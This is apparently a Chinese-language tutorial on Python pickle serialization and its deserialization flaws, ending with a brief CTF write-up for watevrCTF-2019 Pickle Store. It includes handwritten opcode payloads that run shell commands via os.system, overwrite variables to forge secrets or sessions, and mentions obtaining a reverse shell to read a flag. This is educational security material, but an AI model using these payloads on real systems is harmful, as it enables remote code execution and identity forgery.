Python pickle
- pickle在python中 實現物件結構的 序列化和反序列化
- python序列化(Pickling)是一個將python物件層次結構轉換為 可以本地儲存 或者 網路傳輸的 位元組流的過程
- python反序列化(unpickling) 是將位元組流還原為物件層次結構
資料序列化:就是把不能直接儲存的資料 儲存到磁碟中,從而延長生命週期
python 常用的系列化庫:pickle
和json
pickle模組可以將任意物件序列化成為二進位制的字串,並寫入檔案中,還可以從檔案中讀取並且轉為寫入時的型別
Pickle工作原理
由一串串獨立的opcode(指令集)組成,我們可以透過手寫opcode來構建
opcode
OpCode全稱Operation Code(操作碼)如十六進位制數0x90
常用的opcode
基礎方法
方法 | 作用 |
---|---|
dump | 序列化寫入檔案 |
load | 讀取檔案反序列化 |
dumps | 序列化返回物件 |
loads | 反序列化物件 |
序列化函式
pickle.hump(obj,file,[protocol])
函式
接受三個引數,第一個引數包含要儲存在檔案中的物件,第二個引數事 以二進位制形式寫入時 所需檔案時 獲得的檔案物件,第三個參數列示序列化協議
舉個例子:
opcode=b'''cos
system
(S'whoami'
tR.'''
cos
system
(S'ls'
tR.
位元組碼為c,形式為c[moudle]\n[instance]\n,匯入os.system。並將函式壓入stack
位元組碼為(,向stack中壓入一個MARK。位元組碼為S,示例化一個字串物件'whoami'並將其壓入stack
位元組碼為t,尋找棧中MARK,並組合之間的資料為元組。然後透過位元組碼R執行os.system('whoami')
位元組碼為.,程式結束,將棧頂元素os.system('ls')作為返回值
import
opcode=b'''cos
system
(S'whoami'
tR.'''
pockle.loads(opcode)
反序列化函式
pickle.load(file)
函式
一個例項
舉個例子,簡單看一下資料序列化的樣子
參考文章
__getstate__
函式
在序列化時呼叫,指定序列化 某些引數在反序列化時恢復引數
__setstate__
函式
反序列化是配合 __getstate__
函式呼叫
import pickle
class MyData:
def __init__(self, x):
self.x = x
self.y = self.sqrt(x)
def sqrt(self,x):
return x**x
def __getstate__(self):
self.state = "ok"
print("enter getstate")
# self.__dict__儲存關於self.xxx的一些東西
odict = self.__dict__.copy()
del odict['y']
print(odict)
return odict
def __setstate__(self, input):
print("enter setstate")
print(input)
self.x = input['x']
self.y = self.sqrt(self.x)
obj = MyData(3)
# 序列化
print("序列化")
dumped = pickle.dumps(obj)
# 反序列化
print("反序列化")
loaded = pickle.loads(dumped)
print("反序列化結果", loaded.y)
__reduce__
方法
用於物件的序列化,如果 __reduce__
方法存在的話,pickle
模組會呼叫物件的 __reduce__
方法
__reduce__
方法返回一個元組,包含兩個元素:一個callable和一個包含傳遞callable引數的元組,callable通常是一個函式或者類的建構函式
import pickle
class MyClass:
def __init__(self, value):
self.value = value
def __reduce__(self):
# 返回一個元組,包含兩個元素:
# 1. 一個callable,用於從pickle狀態重建物件
# 2. 一個元組,包含傳遞給callable的引數
return (self.__class__, (self.value,))
# 建立一個物件
obj = MyClass(42)
# 序列化物件
serialized_obj = pickle.dumps(obj)
# 反序列化物件
deserialized_obj = pickle.loads(serialized_obj)
# 輸出反序列化後的物件
print(deserialized_obj.value) # 輸出: 42
參考教程
Pickle反序列化漏洞
當我們反序列化一串未知的二進位制位元組流時,可能會引發惡意的程式碼執行,因為無法確定該二進位制字串是否是惡意程式碼
命令執行
手寫opcode構造payload,達到一次實現多個命令的結果
import pickle
opcode=b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)
#結果如下
xiaoh\34946
xiaoh\34946
例項化物件
import pickle
class Person:
def __init__(self,age,name):
self.age=age
self.name=name
opcode=b'''c__main__
Person
(I18
S'Pickle'
tR.'''
p=pickle.loads(opcode)
print(p)
print(p.age,p.name)
###
<__main__.Person object at 0x00000223B2E14CD0>
18 Pickle
變數覆蓋
在session
和token
中,常常儲存了一些使用者資訊,因此我們可以透過變數覆蓋實現身份偽造,偽造token
和session
#secret.py
secret="This is a key"
import pickle
import secret
print("secret變數的值為:"+secret.secret)
opcode=b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''
fake=pickle.loads(opcode)
print("secret變數的值為:"+fake.secret)
###
secret變數的值為:This is a key
secret變數的值為:Hack!!!
[watevrCTF-2019]Pickle Store
偽造session
#coding:utf8
import pickle
import base64
result = pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAMmE0MDIxOTA4NmI0YTk1MDNkYWNkNjc1OTRlODg1NjhxBXUu'))
print(result) #使用b'...'是為了確保處理的是二進位制資料
當嘗試買了個十塊錢的東西后,cookie發生了變化
hmac驗證,利用反彈shell
cat flag.txt得到flag